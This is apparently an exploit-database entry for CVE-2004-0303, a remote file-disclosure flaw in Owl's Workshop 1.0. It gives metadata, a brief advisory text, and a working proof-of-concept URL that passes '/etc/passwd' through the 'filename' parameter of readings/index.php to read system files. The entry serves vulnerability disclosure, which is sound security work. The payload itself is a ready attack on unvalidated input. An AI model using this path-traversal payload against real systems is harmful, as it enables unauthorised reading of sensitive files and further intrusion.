Fool's Workshop Owl's Workshop 1.0 - 'readings/index.php' Arbitrary File Access

Author: G00db0y
type: webapps
platform: php
port: 
date_added: 2004-02-18
date_updated: 2012-12-28
verified: 1
codes: CVE-2004-0303;OSVDB-4004
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/9689/info

Owl's Workshop is reported prone to multiple remote file-disclosure vulnerabilities because the application fails to validate user-supplied input passed via a URI parameter.

Upon successful exploitation of these issues, an attacker may be able to gain access to sensitive system files, potentially facilitating further attacks.

http://www.example.org/owls/readings/index.php?filename=/etc/passwd